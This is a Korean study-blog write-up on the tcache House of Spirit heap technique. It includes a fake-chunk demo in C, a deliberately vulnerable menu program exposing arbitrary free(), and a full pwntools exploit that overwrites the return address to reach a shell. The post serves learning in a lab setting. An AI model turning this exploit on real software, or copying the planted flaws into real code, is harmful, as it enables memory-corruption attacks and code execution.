CIDY
[System_Hacking] Tcache House of Spirit + 예제 본문
heap allocator 관련 문제들이 흥미로운 게 많은 것 같아 더 공부해 보기로 했다.
*Tcache House of Spirit
이전에 풀었던 문제 중에도 있는데, free함수로 임의의 청크를 해제할 수 있을때 사용하는 기법이다.
https://orcinus-orca.tistory.com/145
[System_Hacking] Lv.4: 문제풀이(house_of_spirit)
// gcc -o hos hos.c -fno-stack-protector -no-pie // 64-bit, partial relro, nx #include #include #include #include #include char *ptr[10]; void alarm_handler() { exit(-1); } void initialize()..
orcinus-orca.tistory.com
// gcc -o spirit1 spirit1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
long long fake_chunk[10] = {0,};
fake_chunk[0] = 0;
fake_chunk[1] = 0x31;
fake_chunk[2] = 0x41414141;
free(&fake_chunk[2]);
char *fake_alloc = malloc(0x20);
printf("fake chunk: %p\n", fake_alloc);
}
위 코드를 보면 스택에 fake chunk를 구성했다. 8바이트 단위 배열을 만든 다음 [0]과 [1]에 청크 헤더를 만든 뒤 해제하고, 0x20만큼 malloc해주면(헤더 크기를 뺀 값이다.) 해제했던 스택 영역의 가짜 청크가 할당된 것을 볼 수 있다.
(parseheap으로 봤을때도 항상 청크 사이즈는 16의 배수에서 1바이트씩 많았는데, 문제풀 때 그냥 16배수로 만들어도 별 문제가 없긴 했다... 이유는 잘 모르겠음....)
fake chunk: 0x7fff88a0adf0
↑실행 결과(주소가 스택 영역임)
이를 이용하면 bof를 일으킬 수 있는데, 가짜 청크 헤더를 만들 때 사이즈에 적당히 큰 값을 주고, 해제 후 재할당하면서 bof를 일으킬 수 있게 되는 것이다.
*예제
// gcc -o spirit2 spirit2.c -no-pie
// canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell()
{
system("/bin/sh");
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
char *ptr[10] = {0,};
long long idx = 0;
size_t size = 0;
long long index = 0;
size_t address = 0;
int i = 0;
size_t *ptr_size[10] = {0,};
printf("%p\n", &size);
while(1) {
printf("1. Add\n");
printf("2. Free\n");
printf("3. Edit\n");
printf(">");
scanf("%d",&idx);
switch(idx) {
case 1:
if( i >= 10 ) {
break;
}
printf("Size: ");
scanf("%llu",&size);
ptr[i] = malloc(size);
ptr_size[i] = size;
i++;
break;
case 2:
printf("Address: ");
scanf("%lld", &address);
free(address);
break;
case 3:
printf("Index: ");
scanf("%llu", &index);
read(0, ptr[index], ptr_size[index]);
break;
default:
return 0;
}
}
return 0;
}
Alloc -> 입력한 사이즈만큼 할당
Free -> 입력 주소 해제
Edit -> 입력 인덱스의 내용물 수정
+ 스택 영역 주소 제공
스택에 쌓여있는 순서는
i: rbp-0xd4 ~ rbp-0xd0
idx: rbp-0xd0 ~ rbp-0xc8
size: rbp-0xc8 ~ rbp-0xc0
index: rbp-0xc0 ~ rbp-0xb8
address: rbp-0xb8 ~ rbp-0xb0
ptr[ ]: rbp-0xb0 ~ rbp-0x60
ptr_size[ ]: rbp-0x60 ~ rbp-0x10
dummy
canary
sfp
ret
이고, 내 목적은 ret을 giveshell로 덮고 카나리를 건드리지 않은 채로 리턴하는 것이다.
사이즈 0x41로 하나 할당 -> size == ptr_size[0] == 0x41상태 -> size + 8주소 해제(청크로 인식) -> 0x30으로 하나 할당 -> 스택 영역이 청크로 할당됨 -> ptr[0] 을 ret주소로 덮어야 카나리 안 건드리고 ret만 깔끔하게 덮을 수 있음 -> edit으로 ptr[0]자리에 ret써줌 -> 다시 edit으로 giveshell을 ret에 덮어씌움 -> 스위치의 디폴트 이용해서 리턴시키기
from pwn import *
p = process("./spirit")
e = ELF("./spirit")
def Add(size):
p.sendlineafter(b">", b"1")
p.sendlineafter(b": ", str(size))
def Free(addr):
p.sendlineafter(b">", b"2")
p.sendlineafter(b": ", str(addr))
def Edit(idx, data):
p.sendlineafter(b">", b"3")
p.sendlineafter(b": ", str(idx))
p.send(data)
size_addr = int(p.recvline()[:-1], 16)
print(hex(size_addr))
Add(0x61)
Free(size_addr + 0x8)
Add(0x50)
Edit(1, b"A" * 0x10 + p64(size_addr + 0xd0))
Edit(0, p64(e.sym['giveshell']))
p.sendlineafter(b">", b"4")
p.interactive()
'Hack > DreamHack' 카테고리의 다른 글
[System_Hacking] house_of_force (0) | 2022.08.10 |
---|---|
[System_Hacking] House of Force + 예제 (0) | 2022.08.10 |
[System_Hacking] 문제풀이(Bypass SECCOMP-1) (0) | 2022.08.09 |
[System_Hacking] 문제풀이(Tcache Poisoning) (0) | 2022.08.09 |
[System_Hacking] 문제풀이(house_of_spirit) (0) | 2022.08.09 |